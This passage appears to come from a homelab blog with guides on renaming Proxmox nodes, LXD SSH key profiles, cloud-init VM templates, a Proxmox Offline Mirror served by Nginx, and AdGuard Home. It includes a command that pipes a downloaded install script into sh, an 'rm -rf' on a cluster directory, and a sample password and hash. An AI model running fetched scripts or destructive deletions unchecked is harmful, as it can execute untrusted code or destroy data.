pmx1 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxViEj2DTVxZe6o3wgzc3/6CrD7SkukgPZ+xNWE9u5gZFkhASY9jDeEpj03OUt79ZZJSJDooAp3c028tzzJgazSyHEkXuaMobNesI9lpK2kA/Z7m2oODlhwKh6/svkc/2I4GpfrAUI9K7fbr0wl8JXyxIds4UYiPoODKxwPIXNQ99qi/0X5/aylqKEAS1ZvSHwQhlttL/Cr8vL+JsnqWXltAmQ0mIwCp/6OOkuUX4/bJmpOfae/fX6EQCX4TEHeijh8bx4gJzaL8r9JmsuKeEpnyUh5UCHtYrfnSn2F9aNWaVB2b5Ivxqp2KmhjZSwgQdrUTbsc02OXB6r07yl3mvZlpUPTQHme4pOW32jJgHXRoKEmfXHj1wBG6NE+MP4YXj9kKrCMpGz6BgBNw6SK7AJQcX/3zSMjuQu+6dS3ERMTZ2goDvoZBTuTeR3D6wWe0L/WNMRNH/mrLmn6qEjnmIKv3YuIlcu/AYA2Io5hC7VaSnLTKmh2QmJxTk+UB02k1E=
192.168.100.101 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxViEj2DTVxZe6o3wgzc3/6CrD7SkukgPZ+xNWE9u5gZFkhASY9jDeEpj03OUt79ZZJSJDooAp3c028tzzJgazSyHEkXuaMobNesI9lpK2kA/Z7m2oODlhwKh6/svkc/2I4GpfrAUI9K7fbr0wl8JXyxIds4UYiPoODKxwPIXNQ99qi/0X5/aylqKEAS1ZvSHwQhlttL/Cr8vL+JsnqWXltAmQ0mIwCp/6OOkuUX4/bJmpOfae/fX6EQCX4TEHeijh8bx4gJzaL8r9JmsuKeEpnyUh5UCHtYrfnSn2F9aNWaVB2b5Ivxqp2KmhjZSwgQdrUTbsc02OXB6r07yl3mvZlpUPTQHme4pOW32jJgHXRoKEmfXHj1wBG6NE+MP4YXj9kKrCMpGz6BgBNw6SK7AJQcX/3zSMjuQu+6dS3ERMTZ2goDvoZBTuTeR3D6wWe0L/WNMRNH/mrLmn6qEjnmIKv3YuIlcu/AYA2Io5hC7VaSnLTKmh2QmJxTk+UB02k1E=
## Update /etc/issue for MOTD banner with new IP address
vi /etc/issue
------------------------------------------------------------------------------
Welcome to the Proxmox Virtual Environment. Please use your web browser to
configure this server - connect to:
https://192.168.100.101:8006/
------------------------------------------------------------------------------
## Reboot at the end
reboot
```
Once you've successfully updated the first node, simply **repeat these exact same steps on the remaining two Proxmox nodes** in your cluster. After you've re-configured all of them, your cluster should seamlessly reflect the new hostnames and IP addresses as intended.
## Troubleshooting: Stubborn Old Hostnames
Even after a successful re-configuration, you might occasionally see the **old, inactive hostname** still lingering in your cluster view. Don't fret - this is usually an easy fix!
This often happens when there are **stray directories** from the old node names in the Proxmox configuration. To clean this up and get your cluster looking spick and span, follow these steps on **each individual Proxmox node**:
1. **Navigate to the nodes directory:**
```bash
cd /etc/pve/nodes
```
2. **Identify and remove old node name directories:** Look for any directories that correspond to the old, inactive hostnames. For example, if your old node was `pve1` and the new one is `pmx1`, you might still see a directory named `pve1`. **Carefully remove** these old directories. (Replace `OLD_HOSTNAME_HERE` with the actual old hostname you need to remove.)
```bash
rm -rf /etc/pve/nodes/OLD_HOSTNAME_HERE
```
3. **Reboot the node:** After removing the directory, **reboot the node** to ensure the changes take full effect and the cluster refreshes its view.
After these steps, your cluster should finally reflect only the active, newly configured nodes!
# SSH key management in LXD
I've found my experience with LXD on Ubuntu 24.04 LTS to be extremely pleasant so far. Having recently moved on from HashiCorp's Vagrant and VirtualBox setup, I did so for two primary reasons. The first was the overhead associated with installing both tools, and the second was the resource-intensive nature of running full virtual machines within VirtualBox. While I had a positive experience with my Vagrant and VirtualBox setup on my robust home lab workstation, moving to LXD (installed as a snap) on my Ubuntu system has unlocked a wealth of possibilities for my various home lab projects. The ease of using both LXC containers and KVM/QEMU virtual machines has provided a local, cloud-esque environment, significantly reducing the need for costly cloud hosting.
Provisioning SSH public keys to Vagrant/VirtualBox VMs involved either a sequence of shell commands or leveraging Ansible's local provisioner in conjunction with Vagrant. This repetitive process, though manageable, was a standard part of the workflow. When it comes to LXD setup for ssh key management, there is a simple way to achieve it.
LXD comes with default profile after the initial setup process. Run the following command to view it.
```bash
tyla@e32:~$ lxc profile show default
```
Here is what it looks like.
```yaml
name: default
description: Default LXD profile
config: {}
devices:
eth0:
name: eth0
network: lxdbr0
type: nic
root:
path: /
pool: default
type: disk
used_by: []
```
The `config: {}` key has no value at the moment. Let's edit the default profile with the following command.
```bash
tyla@e32:~$ lxc profile edit default
```
It will open the default profile YAML config file in nano so update it as shown below.
```yaml
name: default
description: Default LXD profile
config:
user.user-data: |
#cloud-config
ssh_authorized_keys:
- ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEw29dm54JK5se8JxdWdt2MC8CSw8VICRcBQBZPxYAbS tyla
devices:
eth0:
name: eth0
network: lxdbr0
type: nic
root:
path: /
pool: default
type: disk
used_by: []
```
After updating the config file, verify it with `lxc profile show default` to ensure that it takes the configuration correctly. Then let's spin up some LXC containers and KVM/QEMU virtual machines to test the ssh key authentication as below.
```bash
# Spin up 3 LXC containers to test
tyla@e32:~$ for i in {1..3}; do lxc launch ubuntu:24.04 ct$i; done
Launching ct1
Launching ct2
Launching ct3
# Check the ip address of ct1 container
tyla@e32:~$ lxc list
+------+---------+---------------------+-----------------------------------------------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+---------+---------------------+-----------------------------------------------+-----------+-----------+
| ct1 | RUNNING | 10.18.34.39 (eth0) | fd42:2751:df65:31e1:216:3eff:fe06:7a59 (eth0) | CONTAINER | 0 |
+------+---------+---------------------+-----------------------------------------------+-----------+-----------+
| ct2 | RUNNING | 10.18.34.23 (eth0) | fd42:2751:df65:31e1:216:3eff:fed7:a586 (eth0) | CONTAINER | 0 |
+------+---------+---------------------+-----------------------------------------------+-----------+-----------+
| ct3 | RUNNING | 10.18.34.187 (eth0) | fd42:2751:df65:31e1:216:3eff:fed3:881c (eth0) | CONTAINER | 0 |
+------+---------+---------------------+-----------------------------------------------+-----------+-----------+
# SSH into ct1 with the username ubuntu
tyla@e32:~$ ssh ubuntu@10.18.34.39
The authenticity of host '10.18.34.39 (10.18.34.39)' can't be established.
ED25519 key fingerprint is SHA256:JOm+4h6HAWWQdsnrzOBJeCb4vn9kmBMUYtTysFAhPQQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.18.34.39' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun May 25 09:18:55 UTC 2025
System load: 0.52
Usage of /: 2.7% of 17.63GB
Memory usage: 0%
Swap usage: 0%
Temperature: 39.0 C
Processes: 22
Users logged in: 0
IPv4 address for eth0: 10.18.34.39
IPv6 address for eth0: fd42:2751:df65:31e1:216:3eff:fe06:7a59
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.
ubuntu@ct1:~$
logout
Connection to 10.18.34.39 closed.
# Verify the default profile's used_by: key
tyla@e32:~$ lxc profile show default
name: default
description: Default LXD profile
config:
user.user-data: |
#cloud-config
ssh_authorized_keys:
- ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEw29dm54JK5se8JxdWdt2MC8CSw8VICRcBQBZPxYAbS tyla
devices:
eth0:
name: eth0
network: lxdbr0
type: nic
root:
path: /
pool: default
type: disk
used_by:
- /1.0/instances/ct1
- /1.0/instances/ct2
- /1.0/instances/ct3
# Cleanup the containers
tyla@e32:~$ for i in {1..3}; do lxc delete ct$i --force; done
# Spin up 3 KVM/QEMU virtual machines to test
tyla@e32:~$ for i in {1..3}; do lxc launch ubuntu:24.04 vm$i --vm; done
Launching vm1
Launching vm2
Launching vm3
# Check the ip address of vm1
tyla@e32:~$ lxc list
+------+---------+----------------------+-------------------------------------------------+-----------------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+---------+----------------------+-------------------------------------------------+-----------------+-----------+
| vm1 | RUNNING | 10.18.34.22 (enp5s0) | fd42:2751:df65:31e1:216:3eff:fe98:d591 (enp5s0) | VIRTUAL-MACHINE | 0 |
+------+---------+----------------------+-------------------------------------------------+-----------------+-----------+
| vm2 | RUNNING | 10.18.34.88 (enp5s0) | fd42:2751:df65:31e1:216:3eff:fe65:2fbc (enp5s0) | VIRTUAL-MACHINE | 0 |
+------+---------+----------------------+-------------------------------------------------+-----------------+-----------+
| vm3 | RUNNING | 10.18.34.69 (enp5s0) | fd42:2751:df65:31e1:216:3eff:fe36:f7bb (enp5s0) | VIRTUAL-MACHINE | 0 |
+------+---------+----------------------+-------------------------------------------------+-----------------+-----------+
# SSH into the vm1 with username ubuntu
tyla@e32:~$ ssh ubuntu@10.18.34.22
The authenticity of host '10.18.34.22 (10.18.34.22)' can't be established.
ED25519 key fingerprint is SHA256:mmZsuBe9nrnWyePdUSOTn/ad+26iTd1KgQ7e5vL7Hco.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.18.34.22' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun May 25 09:27:40 UTC 2025
System load: 0.42
Usage of /: 18.2% of 8.65GB
Memory usage: 19%
Swap usage: 0%
Processes: 121
Users logged in: 0
IPv4 address for enp5s0: 10.18.34.22
IPv6 address for enp5s0: fd42:2751:df65:31e1:216:3eff:fe98:d591
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.
ubuntu@vm1:~$
logout
Connection to 10.18.34.22 closed.
# Verify the default profile's used_by: key
tyla@e32:~$ lxc profile show default
name: default
description: Default LXD profile
config:
user.user-data: |
#cloud-config
ssh_authorized_keys:
- ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEw29dm54JK5se8JxdWdt2MC8CSw8VICRcBQBZPxYAbS tyla
devices:
eth0:
name: eth0
network: lxdbr0
type: nic
root:
path: /
pool: default
type: disk
used_by:
- /1.0/instances/vm1
- /1.0/instances/vm2
- /1.0/instances/vm3
# Cleanup the virtual machines
tyla@e32:~$ for i in {1..3}; do lxc delete vm$i --force; done
```
# Customise VM template with cloud-init on Proxmox
Proxmox is my favourite KVM backend virtualisation implementation for my home lab and test environment. Very easy to install and configure to start with compared to the full blonde KVM on Debian based or Red Hat based Linux distribution. It could have been easier these days since the Cockpit web admin interface has matured a lot with all virtualisation related add-on. But I have been using Proxmox as my preferred virtualisation platform for quite some times now so might as well stick to it rather than mucking around with Cockpit.
Following is the step-by-step guide on how to create a customised VM template with cloud-init on Proxmox. Ubuntu 22.04 LTS cloud image will be used as the base image for this activity. Note that the cloud image comes with cloud-init installed, and it is purposed to use with any cloud platform providers like AWS or Azure. But it can also be utilised for the virtualisation platforms like Proxmox or VMware ESXi.
## Prerequisite
* To customise the cloud image, the tool named "virt-customize" is used. Here is how to install the required package for "virt-customize". **Note** - the Proxmox repo must be disabled to install it if there is no proper subscription with Proxmox.
```bash
$ sudo apt update -y && sudo apt install libguestfs-tools -y
```
## Steps to prep the cloud image with cloud-init
* SSH into the Proxmox's shell with root account
* Download the Ubuntu 22.04 LTS cloud image
```bash
$ wget https://cloud-images.ubuntu.com/jammy/current/jammy-server-cloudimg-amd64.img
```
* Use the following 'virt-customize' commands to prep the downloaded cloud image.\\
```bash
# install all desired packages in the cloud image
$ virt-customize -a jammy-server-cloudimg-amd64.img --install qemu-guest-agent,vim,bash-completion,wget,curl,unzip
# update all installed packages in the image
$ virt-customize -a jammy-server-cloudimg-amd64.img --update
# set preferred timezone
$ virt-customize -a jammy-server-cloudimg-amd64.img --timezone "Australia/Darwin"
# copy the ssh pubkey into the image
# that id_rsa.pub needs to be uploaded to the host in piror to run this command
$ virt-customize -a jammy-server-cloudimg-amd64.img --ssh-inject root:file:./id_rsa.pub
```
* Now create a new VM instance by using the prep cloud image and configure as below. Note that do not startup the VM before converting it into VM template.
```bash
# create a new VM instance with desired specs
$ qm create 1001 --name "jammy-server-cloudimg-template" --memory 1024 --cores 1 --net0 virtio,bridge=vmbr0
# import the prep cloud image to the VM with target storage location
$ qm importdisk 1001 jammy-server-cloudimg-amd64.img local-lvm
# setup the system disk with required scsi parameters
$ qm set 1001 --scsihw virtio-scsi-pci --scsi0 local-lvm:vm-1001-disk-0
# setup the boot disk
$ qm set 1001 --boot c --bootdisk scsi0
# attach the cloudinit
$ qm set 1001 --ide2 local-lvm:cloudinit
# enable the qemu-guest-agent
$ qm set 1001 --agent enabled=1
# create a login user
$ qm set 1001 --ciuser tyla
# set a password for the login user
$ qm set 1001 --cipassword "secret"
# set the ipconfig to dhcp
$ qm set 1001 --ipconfig0 ip=dhcp
# resize the attached disk
$ qm resize 1001 scsi0 32G
# convert the VM instance into a VM template
$ qm template 1001
```
* As the VM template is ready, it is time to spin up the new VM instance based on the template and start it to check if the VM was configured properly. Then shutdown the VM and delete as following.
```bash
# spin up a new VM instance with the VM template
$ qm clone 1001 100 --name ubuntu-srv01
# startup the VM
$ qm start 100
# stop the VM and teardown
$ qm stop 100 && qm destroy 100
```
# Proxmox Offline Mirror (POM) for offline updates
Keeping Proxmox VE systems up to date is straightforward when Internet access is available. However, in air-gapped or highly restricted environments, administrators need an alternative method to distribute updates securely and consistently. This article demonstrates how to build an offline update infrastructure using Proxmox Offline Mirror (POM). The solution allows a dedicated mirror server with Internet access to download and maintain Proxmox and Debian repositories, while isolated Proxmox nodes consume updates from a locally hosted mirror.
The environment consists of the following components:
* Mirror Server - downloads and synchronizes Proxmox and Debian repositories from the Internet
* Storage - dedicated 400 GB disk used to store repository snapshots
* NGINX web server - publishes mirrored repositories to offline systems
* Proxmox VE nodes - air-gapped systems that consume updates through HTTP
The overall workflow is:
1. Download repository content on the mirror server.
2. Create repository snapshots using Proxmox Offline Mirror.
3. Synchronize snapshots to an update medium.
4. Host the mirrored APT repositories on NGINX web server via HTTP.
5. Configure the web address URL as APT sources on offline Proxmox nodes.
6. Perform normal package upgrades without Internet access.
## Preparing Proxmox Offline Mirror (POM) Server
Debian 13 LXC container has been used as the base OS to setup Proxmox Offline Mirror (POM) server in this lab setup. Proxmox official documentation can be found here - and following are the steps to install it. Since it's Debian 13 LXC container in Proxmox VE, I have used the default root account to setup the POM server.
```bash
# Install prerequisites
apt update
apt install -y wget ca-certificates
# Download the current Trixie Proxmox keyring
wget https://enterprise.proxmox.com/debian/proxmox-archive-keyring-trixie.gpg -O /usr/share/keyrings/proxmox-archive-keyring.gpg
# Verify the keyring
sha256sum /usr/share/keyrings/proxmox-archive-keyring.gpg
136673be77aba35dcce385b28737689ad64fd785a797e57897589aed08db6e45 /usr/share/keyrings/proxmox-archive-keyring.gpg
# Debian 13 uses the newer .sources Deb822 format
nano /etc/apt/sources.list.d/pbs-client.sources
Types: deb
URIs: http://download.proxmox.com/debian/pbs-client
Suites: trixie
Components: main
Signed-by: /usr/share/keyrings/proxmox-archive-keyring.gpg
# update again and install proxmox-offline-mirror package
apt update
apt install proxmox-offline-mirror -y
# verify the installation
which proxmox-offline-mirror
```
### Configuring repository mirrors
Here is how to use the guided setup utility comes with proxmox-offline-mirror installation.
```bash
proxmox-offline-mirror setup
Initializing new config.
Select Action:
0.) Add new mirror entry
1.) Add new subscription key
2.) Quit
Choice ([0]):
Guided Setup ([yes]):
Select distro to mirror
0.) Proxmox VE
1.) Proxmox Backup Server
2.) Proxmox Mail Gateway
3.) Proxmox Ceph
4.) Debian
Choice: 0
Select release
0.) Trixie
1.) Bookworm
2.) Bullseye
Choice ([0]): 0
Select repository variant
0.) Enterprise repository
1.) No-Subscription repository
2.) Test repository
Choice ([0]): 1
Should missing Debian mirrors for the selected product be auto-added ([yes]):
Configure filters for Debian mirror trixie / main:
Enter list of package sections to be skipped ('-' for None) ([debug,games]):
Enter list of package names/name globs to be skipped ('-' for None): -
Configure filters for Debian mirror trixie / updates:
Enter list of package sections to be skipped ('-' for None) ([debug,games]):
Enter list of package names/name globs to be skipped ('-' for None): -
Configure filters for Debian mirror trixie / security:
Enter list of package sections to be skipped ('-' for None) ([debug,games]):
Enter list of package names/name globs to be skipped ('-' for None): -
Enter mirror ID ([pve_trixie_no-subscription]):
Enter (absolute) base path where mirrored repositories will be stored ([/var/lib/proxmox-offline-mirror/mirrors/]):
Should already mirrored files be re-verified when updating the mirror? (io-intensive!) ([yes]):
Should newly written files be written using FSYNC to ensure crash-consistency? (io-intensive!) ([yes]):
Config entry 'debian_trixie_main' added
Run "proxmox-offline-mirror mirror snapshot create --config '/etc/proxmox-offline-mirror.cfg' 'debian_trixie_main'" to create a new mirror snapshot.
Config entry 'debian_trixie_updates' added
Run "proxmox-offline-mirror mirror snapshot create --config '/etc/proxmox-offline-mirror.cfg' 'debian_trixie_updates'" to create a new mirror snapshot.
Config entry 'debian_trixie_security' added
Run "proxmox-offline-mirror mirror snapshot create --config '/etc/proxmox-offline-mirror.cfg' 'debian_trixie_security'" to create a new mirror snapshot.
Config entry 'pve_trixie_no-subscription' added
Run "proxmox-offline-mirror mirror snapshot create --config '/etc/proxmox-offline-mirror.cfg' 'pve_trixie_no-subscription'" to create a new mirror snapshot.
Existing config entries:
mirror 'pve_trixie_no-subscription'
mirror 'debian_trixie_updates'
mirror 'debian_trixie_main'
mirror 'debian_trixie_security'
Select Action:
0.) Add new mirror entry
1.) Add new medium entry
2.) Add new subscription key
3.) Quit
Choice ([0]): 3
```
Now it's ready to start pulling the packages from the sources to its local mirror repositories respectively.
```bash
proxmox-offline-mirror mirror snapshot create-all
```
It will take a while to complete the download for all of those four repositories setup in the previous step. The directories structure should be displayed as below. **Don't change the directory structure.** Let POM manage it and have Nginx expose the parent directory.
```bash
find /var/lib/proxmox-offline-mirror/mirrors -maxdepth 3 -type d | sort
/var/lib/proxmox-offline-mirror/mirrors/
├── pve_trixie_no-subscription/
│ └── /
│ ├── dists/
│ └── pool/
│
├── debian_trixie_main/
│ └── /
│ ├── dists/
│ └── pool/
│
├── debian_trixie_updates/
│ └── /
│ ├── dists/
│ └── pool/
│
└── debian_trixie_security/
└── /
├── dists/
└── pool/
```
### Configuring Nginx to host apt packages internally
Here is how to install and setup Nginx webserver for POM server.
```bash
# update and install Nginx and CURL
apt update
apt install nginx curl -y
# verify the installatiom and systemd status
systemctl status nginx
* nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/usr/lib/systemd/system/nginx.service; enabled; preset: enabled)
Active: active (running) since Mon 2026-08-24 13:15:15 UTC; 1s ago
Invocation: bfcf4b0ecbe34ce18fd4076dc1635bf2
Docs: man:nginx(8)
Process: 2091 ExecStartPre=/usr/sbin/nginx -t -q -g daemon on; master_process on; (code=exited, status=0/SUCCESS)
Process: 2092 ExecStart=/usr/sbin/nginx -g daemon on; master_process on; (code=exited, status=0/SUCCESS)
Main PID: 2120 (nginx)
Tasks: 3 (limit: 34852)
Memory: 3.7M (peak: 7.8M)
CPU: 38ms
CGroup: /system.slice/nginx.service
|-2120 "nginx: master process /usr/sbin/nginx -g daemon on; master_process on;"
|-2123 "nginx: worker process"
`-2124 "nginx: worker process"
Aug 24 13:15:15 pom systemd[1]: Starting nginx.service - A high performance web server and a reverse proxy server...
Aug 24 13:15:15 pom systemd[1]: Started nginx.service - A high performance web server and a reverse proxy server.
# check with CURL
curl http://localhost/
Welcome to nginx!
Welcome to nginx!
If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.
For online documentation and support please refer to
nginx.org.
Commercial support is available at
nginx.com.
Thank you for using nginx.
```
After the installation, we need to configure Nginx in accordance with the directories structure configured by POM guided utility. Here is how to configure the webserver.
```bash
# configure Nginx site for POM
nano /etc/nginx/sites-available/pom
server {
listen 80;
listen [::]:80;
server_name pom.local;
root /var/lib/proxmox-offline-mirror/mirrors;
autoindex on;
access_log /var/log/nginx/pom.access.log;
error_log /var/log/nginx/pom.error.log;
location / {
try_files $uri $uri/ =404;
}
}
# set POM directory to the appropriate permission
chmod 755 /var/lib/proxmox-offline-mirror
chmod 755 /var/lib/proxmox-offline-mirror/mirrors
# enable the Nginx config
rm -f /etc/nginx/sites-enabled/default
ln -s /etc/nginx/sites-available/pom /etc/nginx/sites-enabled/pom
# test the config syntax
nginx -t
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# reload the Nginx daemon to apply the changes made
systemctl reload nginx
# verify if the webserver hosting the POM repos properly
curl http://localhost
Index of /
```
### Test the actual apt repository
This is more important than simply seeing the directory.
Find the snapshot:
```bash
find /var/lib/proxmox-offline-mirror/mirrors -name Release -o -name InRelease
```
For example, you might find:
```
/var/lib/proxmox-offline-mirror/mirrors/pve_trixie_no-subscription//dists/trixie/Release
```
Then test one of the URLs:
```bash
curl -I http://localhost/pve_trixie_no-subscription//dists/trixie/Release
```
You should get 200 OK if all properly configured.
```
HTTP/1.1 200 OK
```
## Configure Proxmox VE 9 node(s)
Your PVE repository is:
```
pve_trixie_no-subscription
```
So the PVE node should ultimately use something like:
```
deb [check-valid-until=false] http://pom.local/pve_trixie_no-subscription/ trixie pve-no-subscription
```
For example:
```
deb [check-valid-until=false] http://pom.local/pve_trixie_no-subscription/2026-08-24T12:00:00Z trixie pve-no-subscription
```
The exact `` value should come from your POM-generated directory structure rather than being guessed.
Your POM configuration automatically created three Debian repositories:
```
debian_trixie_main
debian_trixie_updates
debian_trixie_security
```
This is useful because your PVE hosts will need Debian packages as well as the Proxmox packages. Conceptually, your PVE node(s) will consume:
```
Nginx
│
┌──────────────┼──────────────┐
│ │ │
▼ ▼ ▼
Debian main Debian updates Debian security
│ │ │
└──────────────┼──────────────┘
│
▼
Proxmox VE packages
```
Your resulting setup should be like this:
```
Internet
│
▼
┌──────────────────────────┐
│ Debian 13 POM Server │
│ │
│ proxmox-offline-mirror │
│ │
│ /var/lib/.../mirrors/ │
│ │ │
│ ▼ │
│ Nginx │
│ TCP/80 │
└──────────┬───────────────┘
│
┌──────────┼──────────┐
│ │ │
▼ ▼ ▼
PVE1 PVE2 PVE3
```
## Conclusion
The Proxmox Offline Mirror (POM) setup provides a centralized and controlled package distribution mechanism for the Proxmox VE environment. In this implementation, POM is deployed on a Debian 13 system and configured to mirror the Proxmox VE 9 Trixie **No-Subscription** repository together with the required Debian Trixie repositories: `main`, `updates`, and `security`.
The mirrored repositories are stored under:
```
/var/lib/proxmox-offline-mirror/mirrors/
```
and are exposed internally through an Nginx web server. Nginx acts as a simple HTTP repository server, allowing Proxmox VE nodes to retrieve packages from the local mirror without requiring direct access to the upstream Proxmox and Debian repositories.
The resulting architecture separates **repository synchronization**, **repository storage**, and **repository distribution**:
```
Internet
│
▼
┌───────────────────┐
│ Debian 13 POM Host│
│ │
│ Proxmox Offline │
│ Mirror │
└─────────┬─────────┘
│
Local repository
snapshots
│
▼
┌──────────┐
│ Nginx │
│ HTTP :80 │
└────┬─────┘
│
┌───────────┼───────────┐
▼ ▼ ▼
PVE-01 PVE-02 PVE-03
```
The configured POM repositories are:
```
pve_trixie_no-subscription
debian_trixie_main
debian_trixie_updates
debian_trixie_security
```
Using POM snapshots also provides an important operational advantage: Proxmox nodes can consume a **known, immutable repository snapshot** instead of depending on whatever package versions happen to be available upstream at a particular time. New snapshots can be synchronized and tested independently before being adopted by the production or homelab cluster.
Nginx does not modify or manage the repository contents; it simply publishes the POM-managed directory tree over HTTP. This keeps responsibilities clean: **POM manages repository synchronization and snapshots, while Nginx provides repository access to the Proxmox nodes**.
Overall, this architecture provides a lightweight and maintainable solution for environments where Proxmox VE nodes have limited or no Internet connectivity. It also establishes a good foundation for future automation, including scheduled POM synchronization, snapshot retention, internal DNS, HTTPS, repository validation, and automated rollout of approved snapshots across the Proxmox cluster.
The key benefit is that the Proxmox infrastructure can remain operationally isolated from the Internet while still receiving controlled Debian and Proxmox updates through a single, centrally managed internal repository.
# Setting up AdGuard Home
AdGuard Home is alternative to Pi-Hole for network-wide Ad blocking but it has more capabilities for parental control and some other additional features. I have been using Pi-Hole on my home server, Raspberry Pi, virtual machine and even Docker container at home network to stop all annoying ads pop-ups on my mobile devices and computers for some time. However, recently AdGuard Home has got my attention since I found out that OpenWRT can run AdGuard Home natively without requring any additional server. It has been a year now using AdGuard Home instead of Pi-Hole on my home network.
## Prerequisites
* Dedicated bare-metal Linux server (Raspberry Pi 3, 4 or even Pi Zero 2 w) or Linux virtual machine running on some kind of type 1 hypervisor
* Docker if you like to use the docker container for AdGuard Home (I use a dedicated VM to deploy AdGuard Home)
* Basic understanding of Linux commands and YAML for backend configuration change
## Installation
For automated install on LInux, run the following command.
```bash
curl -s -S -L https://raw.githubusercontent.com/AdguardTeam/AdGuardHome/master/scripts/install.sh | sh -s -- -v
```
For other methods of installation, go to AdGuardHome Github page
Following is the output of its installation.
```bash
root@adguard:~# curl -s -S -L https://raw.githubusercontent.com/AdguardTeam/AdGuardHome/master/scripts/install.sh | sh -s -- -v
starting AdGuard Home installation script
channel: release
operating system: linux
cpu type: amd64
AdGuard Home will be installed into /opt/AdGuardHome
checking tar
script is executed with root privileges
no need to uninstall
downloading package from https://static.adtidy.org/adguardhome/release/AdGuardHome_linux_amd64.tar.gz -> AdGuardHome_linux_amd64.tar.gz
successfully downloaded AdGuardHome_linux_amd64.tar.gz
unpacking package from AdGuardHome_linux_amd64.tar.gz into /opt
successfully unpacked, contents:
total 27372
-rwxrwxrwx 1 root root 27889664 Mar 10 00:03 AdGuardHome
-rw-rw-rw- 1 root root 587 Mar 10 00:03 AdGuardHome.sig
-rw-r--r-- 1 root root 70640 Mar 10 00:03 CHANGELOG.md
-rw-r--r-- 1 root root 35149 Mar 10 00:03 LICENSE.txt
-rw-r--r-- 1 root root 21563 Mar 10 00:03 README.md
2023/03/20 21:02:03 [info] AdGuard Home, version v0.107.26
2023/03/20 21:02:03 [info] service: control action: install
2023/03/20 21:02:03 [info] service: started
2023/03/20 21:02:03 [info] Almost ready!
AdGuard Home is successfully installed and will automatically start on boot.
There are a few more things that must be configured before you can use it.
Click on the link below and follow the Installation Wizard steps to finish setup.
AdGuard Home is now available at the following addresses:
2023/03/20 21:02:03 [info] go to http://127.0.0.1:3000
2023/03/20 21:02:03 [info] go to http://[::1]:3000
2023/03/20 21:02:03 [info] go to http://10.11.12.124:3000
2023/03/20 21:02:03 [info] go to http://[fe80::7ce0:42ff:fef1:1425%eth0]:3000
2023/03/20 21:02:03 [info] service: action install has been done successfully on linux-systemd
AdGuard Home is now installed and running
you can control the service status with the following commands:
sudo /opt/AdGuardHome/AdGuardHome -s start|stop|restart|status|install|uninstall
```
## Configuration
After the AdGuard Home installation, the welcome page will be displayed on the screen to initiate the setup in the server upon going to in web browser.
Click "Get Started" button to go next and it will take you to the page where you can configure "Admin Web Interface" and "DNS server" listen interfaces as below. Note that it is important to have the static IP address has been set in prior to the AdGuard Home installation or make an IP address reservation in DHCP server. After configure both admin web interface and dns server listen interface, click "Next".
On the next screen, you can setup the admin account for AdGuard Home web portal as below. I use "adgadm" as my username and a strong password as my password as shown. Again, click "Next" to continue with its setup.
Then it will show you can configure your devices to use with AdGuard Home. The default or preferable option is "Router" while it is assuming that your home internet gateway router configured as DHCP server. Click "Next" to go to the next page.
Now it is ready to start using it as a networkwise adblocker or parental control. Click "Open Dashboard" for the login page.
Login with the defined username and password in the previous step.
As you can see, the AdGuard Home dashboard is clean and neat.
Let's have a look at how we can configure the DHCP server to use with AdGuard Home in the network. Mikrotik hAP ac is used my home internet gateway router for DHCP server.
```
[mtradm@home-mtr] /ip/dhcp-server> export
/ip pool
add name=dhcp ranges=10.11.12.10-10.11.12.60
/ip dhcp-server
add address-pool=dhcp interface=lan name=dhcp1
/ip dhcp-server network
add address=10.11.12.0/24 dns-server=10.11.12.124 gateway=10.11.12.254 netmask=24
```
For all AdGuard Home related configuration including block lists, upstream dns servers and clients list, I have configured all in a YAML file called *AdGuardHome.yaml* located in /opt/AdGuardHome/ directory. The same configuration can also be done in the AdGuard Home web GUI.
```yaml
bind_host: 10.11.12.124
bind_port: 80
users:
- name: adgadm
password: $2a$10$fJ3VeHn1WeZaqdiJ8rFRL.zkSc.WN/6OmDunZKlrbnI5WxOAzWlpO
auth_attempts: 5
block_auth_min: 15
http_proxy: ""
language: ""
theme: auto
debug_pprof: false
web_session_ttl: 720
dns:
bind_hosts:
- 10.11.12.124
port: 53
anonymize_client_ip: false
protection_enabled: true
blocking_mode: default
blocking_ipv4: ""
blocking_ipv6: ""
blocked_response_ttl: 10
parental_block_host: family-block.dns.adguard.com
safebrowsing_block_host: standard-block.dns.adguard.com
ratelimit: 20
